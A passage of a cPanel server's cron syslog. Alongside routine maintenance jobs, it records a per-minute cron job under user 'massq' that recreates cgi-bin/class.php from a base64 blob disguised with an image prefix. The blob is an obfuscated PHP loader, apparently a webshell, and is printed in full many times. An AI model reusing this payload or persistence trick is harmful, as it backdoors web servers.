UFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:59:01 server CROND[6749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:59:01 server CROND[6750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:59:01 server CROND[6751]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 10 03:00:01 server CROND[7182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:00:01 server CROND[7184]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:00:01 server CROND[7188]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:00:01 server CROND[7192]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:00:01 server CROND[7193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:00:01 server CROND[7194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:00:01 server CROND[7197]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 03:00:01 server CROND[7199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:00:01 server CROND[7195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:01:01 server CROND[8051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:01:01 server CROND[8053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:01:01 server CROND[8052]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 03:01:01 server CROND[8054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:01:01 server run-parts(/etc/cron.hourly)[8052]: starting 0anacron
Sep 10 03:01:01 server anacron[8073]: Anacron started on 2026-09-10
Sep 10 03:01:01 server run-parts(/etc/cron.hourly)[8075]: finished 0anacron
Sep 10 03:01:01 server anacron[8073]: Will run job `cron.daily' in 41 min.
Sep 10 03:01:01 server anacron[8073]: Jobs will be executed sequentially
Sep 10 03:02:01 server CROND[8446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:02:01 server CROND[8445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:02:01 server CROND[8447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:03:01 server CROND[8893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:03:01 server CROND[8892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:03:01 server CROND[8894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:04:01 server CROND[9278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:04:01 server CROND[9285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:04:01 server CROND[9286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:05:01 server CROND[9674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:05:01 server CROND[9676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:05:01 server CROND[9678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:05:01 server CROND[9681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:05:01 server CROND[9682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:05:01 server CROND[9684]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 03:05:01 server CROND[9679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:05:01 server CROND[9680]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:06:01 server CROND[10693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:06:01 server CROND[10694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:06:01 server CROND[10695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:07:01 server CROND[11094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:07:01 server CROND[11095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:07:01 server CROND[11096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:08:01 server CROND[11491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:08:01 server CROND[11492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:08:01 server CROND[11494]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 10 03:08:01 server CROND[11493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:09:01 server CROND[11892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:09:01 server CROND[11891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:09:01 server CROND[11894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:09:01 server CROND[11893]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 03:10:01 server CROND[12285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:10:01 server CROND[12288]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:10:01 server CROND[12289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:10:01 server CROND[12292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:10:01 server CROND[12291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:10:01 server CROND[12290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:10:01 server CROND[12293]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:10:01 server CROND[12295]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:11:01 server CROND[13248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
